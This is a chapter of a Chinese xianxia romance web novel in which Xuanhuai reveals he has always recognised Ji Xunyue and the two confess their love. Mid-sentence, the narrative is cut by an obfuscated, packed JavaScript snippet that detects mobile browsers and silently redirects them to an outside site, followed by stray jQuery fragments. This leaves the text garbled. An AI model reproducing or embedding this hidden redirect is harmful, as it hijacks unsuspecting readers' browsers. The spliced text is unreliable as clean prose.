40.诉情

作品:《死对头仙君竟是前前任

    回到云星宗时,已过子时。


    季寻月慢慢往房间的方向走去,心绪融在幽寂的夜色里,借夜风荡涤。


    能和时渊解开心结,令她十分快慰。


    曾以为她的人生只剩处理政事、闭关修炼这些枯燥乏味的事情,仙界的经历重新让她的喜怒哀乐鲜活生动。


    她开始怀念起年少时的喜悲,尝试触碰那些不敢回望的记忆,也能坦然和他人聊起过去。


    穿过走廊,就到她小院的入口。


    却不知是谁施了术法,院里亮着光,但不耀眼,朦胧照着院子里的一草一木。


    季寻月怔然停步,大概猜到了是谁在等她。


    是玄淮。


    心中闪过一丝慌乱,她又很快镇定下来。


    她整场晚宴都没出现,甚至也不在宗门里,他担心弟子安危很正常。


    她不知道她编造的理由能否说服他,可又隐隐觉得他会相信,他总是会接受她那些不堪一击全是破绽的借口。


    可是连时渊都察觉到她的异样,玄淮和她相处的时间更久,当真半分怀疑也不曾有?


    不过他再怀疑,也不可能往她是季寻月那方面想。


    想到这,季寻月稍稍安心,定了定神,便向小院走去。


    远远看见玄淮颀长的背影,竟有些落寞。


    她放轻脚步进了院子,还是惊扰了他。


    玄淮转过身静静望来,容貌依旧清冷,眼里却多了些她看不真切的情绪。


    季寻月突然就哑了口,连唤他一声都做不到。


    玄淮同样一言不发,与她僵持着,任凭一种怪异的氛围在他们之间蔓延。


    不知过了多久,他好似叹了口气,主动让步,打破了沉默。


    “回来了?”


    “……嗯。”


    季寻月短促应了声,拿出早就编好的借口解释她的晚归。


    接下来,他会相信她的借口,会关心几句让她早些休息,然后离开。


    而她或许会探究他的异常,但也只能无功而返。


    今天本该如此结束的,明日再相见,他们又是一对再普通不过的师徒。


    可玄淮的反应却和她的设想截然不同。


    他微微皱起眉,仍是用复杂的眼神看着她,许久不语。


    这一次,他没有接受她的借口。


    莫非他……怀疑她的身份了?


    心跳莫名漏了一拍,季寻月保持着面上的镇定,静静与他对视,可初夏的晚风却吹得她心旌摇曳。


    玄淮的眼神越来越暗,而她一句话也说不出,等待着他打破一直以来两人竭力维持的平衡。


    今天恐怕无法好好收尾了。


    面对即将到来的风暴,她既害怕,害怕两人的关系再也回不到从前,却也期待,期待和他真诚相待。


    她不想再陷入无休无止的内耗,不如就坦白身份,给一切一个交代,无论结果是好是坏,她都会试着接受。


    这时,玄淮低声开口。


    “你……喜欢时渊吗?”


    他的声音太轻,轻到季寻月以为自己听错了。


    他没有问她是谁,不在意她的那些胆大妄为,不在乎她为何修为提升得那么快,而是问她喜不喜欢时渊?


    不知为何,她松了口气。


    原来如此,玄淮见她总是和时渊亲近,以为她喜欢时渊,担忧她等不到回应为情所困,才等她到这么晚,想趁此机会开导她。


    原来他所有的沉默,所有的欲言又止,都缘于一场误会。


    等她解释清楚,一切就都能回归正轨。可为何,她又感到失望?


    她也说不清,到底希望两个人变成怎样的局面。


    明明刚才她害怕得要命,害怕被他知道身份,嘲笑堂堂魔尊为了报仇竟拜他为师,结果不仅搞错复仇对象,还称呼被她抛弃的对象师叔。


    她又觉得可笑,她喜欢的人的确不会有回应,他无法置身事外,以局外人的立场开导她,因为她真正喜欢的人是他。


    是解释清楚,还是让一切更加混乱,不到两败俱伤绝不罢休?


    季寻月心里有了答案。


    她笑了笑:“师父为什么要问这个问题?”


    她把问题抛给了玄淮,想听他解释,听他剖析这么问的原因,最后再由她来决定事情的走向。


    然而,她的预想又一次错了。


    玄淮定定看着她,反问道:“我……没资格问吗?”


    资格?


    他身为师父,自然有资格过问她的事情。可他却并无半点关心的意思,反而表现出刨根问底的执着。


    他越执拗,她越想与他作对。


    季寻月不甘示弱地反击:“当然可以问,只是不知道师父想听什么样的答案?”


    明明可以轻易回答的问题,她偏要顾左右而言他,不给他答案,想看到他更多的情绪,听他说出真正的想法。


    他们就这样反复试探,等待着其中一人先妥协。


    连番较量下来,季寻月占了上风。


    玄淮又沉默了,他垂下眸,很久都没有再开口。


    久到她以为这场对话就这么潦草结束时,他又忽然抬眼看了过来。


    他眼里的情绪比之前更浓,看得她心中一紧。


    “你果然喜欢时渊,对吗?”


    “……”


    他如此笃定的话语,竟让季寻月无从反驳,也猜不出他到底想要什么答案。


    见她一言不发,玄淮向她走来,停在她面前,与她离得很近。


    万籁俱寂间,彼此呼吸清晰可闻。


    玄淮缓缓抬起一只手,极其轻柔地抚上她的脸颊。


    他从未有过如此亲密的举动。


    季寻月盯着他的脸发愣,被他掌心触碰的地方竟烫得灼人。


    玄淮自嘲地笑了笑,然后开了口。


    他声音沙哑,眼尾泛着红:“时渊他就那么好,好到我和他你都不记得,却还是只会选择他?”


    而季寻月却因他的举动意乱心慌,回过神时,只感到一阵茫然,无法冷静思考他的话。


    是把她当成了曾经的恋人,是叶锦月不可以喜欢时渊?


    所以他在介怀,在质问。


    他凭什么?


    克制着杂乱的心绪,季寻月冷声道:“我听不懂师父在说什么,什么叫我不记得你?”


    她当然不会记得他,她又不是他记忆里的那个人。


    可玄淮似乎被她的话戳中痛处。


    他眼睫轻颤,神色哀伤:“又是一样的回答,阿月……你好狠的心。”


    季寻月记得,他曾在情急之下这么叫过她,原来,叫的不是她。


    她后退一步,心底的难过如浪潮般,一波高过一波。


    “想必师父是喝醉了,认错人了。”


    可她知道,刚才他接近时,身上并无半点酒气。


    玄淮默然收回手:“你说我认错,哪里认错了?”


    他又轻笑一声:“季寻月,我认错你了吗?”


    短短几个字宛若惊雷,打得季寻月措手不及,愣在原地。


    他喊的不是叶锦月,而是她的本名?!


    “你叫我什么?”


    不对,不该是这样,他喜欢的不是叶锦月吗?为什么会知道她的身份?


    季寻月忽然发觉,他们好像一直在自顾自说着对方听不懂的话。


    一切都乱了套,难以收场。


    玄淮默然看着她,忽然收起所有情绪,恢复了一贯的冷淡。


    可他的话里,却藏着无边的苦涩。


    “我从没有认错过,从你第一天来到仙界,我就认出了你。


    “不需要玉千婵提醒,只要见到你,我就能认出你,不管你换了什么模样,用的什么名字。


    “我没有认错,季寻月也好,叶锦月也罢,都是你。


    “早在六千多年前,我们就在妖界有过匆匆一面,四千多年前,我们在凡界相识相恋,可你全都忘了。”


    季寻月听得手脚冰凉,夜风更是冷得她直打颤。


    息璘口中的叶锦月,是她自己?


    她又忘了?


    她居然又忘了?


    她寻遍记忆,却没有发现他的踪迹。


    此刻,她心里没有半分欣喜,反而陷入了深深的自我怀疑。


    她声音颤抖着问:“你再说一遍,我是谁?”


    玄淮察觉她情绪波动,才如梦方醒,上前扶住她摇摇欲坠的身体,自责道:“不要再想了,你的头会疼。”


    季寻月却摇了摇头,固执道:“玄淮,告诉我,我忘了什么?我们又有什么过往?”


    既然她忘了时渊,自然也能忘了玄淮,可她为何会丢失这么多记忆?


    玄淮见她执意要问,犹豫再三,缓缓道:“我奉命下界捉拿妖族时,遇到了化身成叶锦月的你,可后来神魔之战爆发,你就消失了,再见到你时,才知道你是魔界少主季寻月。”


    “你确定那个叶锦月是我?”


    “我用妖力救过你,那些妖力残存在你体内,我能感应得到,也就能认出你。”


    “所以点仙台上第一次见面,你就认出我了?”


    “……是。”


    “所以你知道我为什么要拜你为师?”


    “是。”


    原来从始至终,她小心隐瞒身份的行为都是多此一举。


    季寻月愣怔了一会:“那为什么……你为什么不告诉我?”


    玄淮顿了顿,低落道:“我该以什么身份告诉你?曾经的恋人?四千年前我已经尝试过了,可你却告诉我,你不认识我。再然后,你和时渊……就算你知道了,也给不了我想要的回应,反而让你烦心。”


    他轻叹了一声,哀愁地看着她。


    季寻月这才明白,他为什么要反复问她是否喜欢时渊。


    “你觉得我喜欢时渊,所以没说?”


    “我知道你也忘了他,我以为,我和时渊会是一样的结果,可其实从一开始就不一样。你拜我为师,是因为时渊做的那些事,你又得知和他的过往,与他越走越近,越来越亲密,我又何必自取其辱?”


    玄淮又道:“那次在神界见面,你问我有没有见过你,季寻月,你告诉我,我该怎么说?”


    为什么她不仅不记得凡界的事,连之后在魔界见过玄淮也一点印象也没有?


    季寻月又搜寻了一遍记忆,依旧一无所获。


    她忘记的,远比她想的还要多。


    “那你今天又为何要告诉我?”


    她才问完,就已经猜到了答案。


    事到如今,玄淮也不想再隐瞒他的想法:“因为我不甘心,为什么时渊可以重新回到你身边,而我却只能被你忘记?哪怕你觉得我卑劣,明知你身份却一直装聋作哑,我都想要让你知道。”


    他闭上眼,痛苦道:“我和时渊不同,所有人都知道时渊喜欢你,可我呢?除了我,没有人知道,没有人理解,甚至我都开始怀疑我们的相遇是否只是我的一场梦?”


    季寻月怔怔听他说着,一抹温热滑下脸颊,眼泪竟不由自主地落了下来。


    一股浓烈得化不开的悲伤席卷了她的内心。


    那些过往当然不会是他的一场梦。


    因为从见到他的第一面起,她就有种说不出的怀念,情不自禁地想要靠近他。


    这让她确定,她一定爱过他。


    她想找到证据,向他证明他说的那些过往都是真的,她想回应他的不安,安抚他的痛苦。


    可她做不到。


    她忘得干干净净。


    当她试图探寻过去,又是那道封印阻止了她。


    被她遗忘的那些记忆似乎要宣泄而出,却


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16412917|178543||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    被封印阻拦,只能一遍遍冲击着封印的闸门,汇成排山倒海之势,撞得她头痛欲裂,快要缺氧。


    季寻月眼前一黑,全身力气都被抽干,向前栽去。


    她被玄淮紧紧抱在怀里,却感觉不到一丝温暖,她听见玄淮在喊她的名字,声音却遥远得如在天边。


    之后,她就什么都听不见了,意识陷入漫无边际的黑暗,摸索着前进。


    眼前骤然一亮,转瞬间,她身处灵犀仙木内部,回到了她窥探玄淮记忆的时候。


    这一次,她看见了。


    她看见玄淮揭开那女子的盖头,露出了一张和她一模一样的脸,原来桑沃想让她看的是这个。


    可她却错过了,和他一次又一次错过。但好在,身心还保留着最后一点对他的记忆,促使她重新爱上他。


    之后,她又被黑暗吞没,再清醒时,能感觉到玄淮柔和的灵力游走全身。


    妖力和灵力本就同源,季寻月终于明白,她为何会不排斥他的灵力。


    她太自信自己的力量,从而忽略了这微小的异样,而他总是隐藏他的妖力,让她无从感应。


    而唯一的一次机会,她却因为看破玄淮真实身份过于惊慌,没有把握住。


    季寻月缓缓睁开眼,恍然发觉刚才昏迷时,她竟没能维持得住易容。


    此刻,她用着她本来的容貌,与他相望。


    玄淮眉间微蹙,眼里满是担忧和歉疚。


    看着他满心满眼都是她的样子,季寻月终于有了实感。


    原来他也喜欢她。


    此刻,这份迟来的欢喜在她心底生根发芽。


    季寻月疲惫地说不出话,低着头静静倚在他怀里,松雾香的气味萦绕在鼻尖,令她十分安心。


    等到气力恢复了大半,她才挣脱他的怀抱,与他拉开距离。


    玄淮愣愣地看着她,似乎意识到他们的对峙即将迎来结局,嘴唇翕张,却没说出一个字。


    他本该是纤尘不染,月白风清,却为她黯然神伤,忧思难解,给了她全部的偏爱。


    季寻月忽然就起了捉弄玄淮的坏心思。


    明明可以早点告诉她,他却什么都不说,害她难过了那么久,既折磨她,也折磨他自己。


    明明那么喜欢,他偏要装得云淡风轻,却又紧紧盯着她的一举一动。


    都是他的错,让他们一直误解,一直错过,所以她不想就这么轻易地放过他。


    她故作冷静道:“玄淮,你说的太晚了。”


    玄淮闻言,勉强地笑了笑:“的确太晚了,可我已经不在乎了,我不想让你一无所知地开启下一段人生,阿月,这对我太残忍了。我会祝福你和时渊,可是我们……不要再相遇了,没有什么比再次失去更加痛苦。”


    他的语气是那么哀伤,听得季寻月心口一窒,放弃了逗弄他的想法。


    她竟忘了,他的难过比她更久,她忘记过去没心没肺地活着,可他却始终记得她。


    她缓声道:“为什么还没有得到答案,就自顾自说了这么多呢?”


    “答案?”玄淮轻声重复着,“还有什么答案?”


    “你问过的问题,我都记得,可我还一个都没有回答。”


    季寻月轻轻叹了口气,扬起脸认真道:“我不喜欢时渊啊……淮凛。”


    听到这两个字,玄淮浑身一僵,脱口而出:“你为什么会知道这个名字?你想起来了?”


    他又如梦初醒,难以置信道:“你不喜欢时渊?”


    他就这样怔怔看着她,季寻月忍不住上前一步,抬手捧住他的脸,仔仔细细地看着他每一瞬的神情。


    她指尖的冰凉激得他颤抖了一下,随后他伸出双手,覆住她的,想给予她温暖。


    她的主动给了玄淮莫大的安慰。


    “那为什么太晚了?”他小心翼翼问,紧紧盯着她,眼里交织着期待和不安。


    他记得在幻境里,她说过她有喜欢的人。


    季寻月笑了笑:“你说的实在太晚了,为什么等到我喜欢你这么久,你才告诉我,你也喜欢我呢?”


    他们本就挨得很近,她微仰着头,彼此呼吸交错。


    “为什么让我为你难过了很久,才说出真相?淮凛,真的太晚了啊……”


    说罢,注视着他眼里闪烁的欣喜,她直接吻了上去。


    她很确定,她喜欢他,无论是现在,还是过去。


    虽然她忘了,可身体还替她记得,不然为何第一次与他亲吻,她却觉得分外熟悉?


    玄淮只是短暂地失神,下一刻,他的手紧紧搂着她的腰,把她圈在怀里,热切地回应着他朝思暮想的眷恋。


    他的手臂颤抖着,却不肯松开她丝毫。


    两个人所有的委屈和心酸都在缠吻中消失殆尽。


    也不知道是什么时候结束的,季寻月仰着头与他对视,彼此呼吸仍旧急促。


    她知道,谁先开口,谁注定是一辈子的输家。


    而玄淮心甘情愿。


    他为她擦去眼角的泪,柔声道:“不晚……对我来说不晚。阿月,我终于等到你了。对不起,如果我早一点告诉你,就不会让你伤心了。”


    季寻月没有回答,只是把头靠在他肩上,闻着令她安心的气息。


    她喃喃道:“我累了。”


    被她忘记的人,她都找回来了,却也让她精疲力尽。


    “好,你先休息,有什么事明天再说。”他轻声安抚,“我们还有很多时间。”


    “嗯……”可她现在就很困了,他的怀抱又那么温暖,眼睛一旦闭上,就完全睁不开了。


    玄淮轻轻将季寻月打横抱起,看着她的睡颜,眼神温柔。


    他将她抱回她的房间,本想离开,却怎么也舍不得。


    就算还有很长的未来,可他们已经错过太久,一分一秒都不能再浪费了。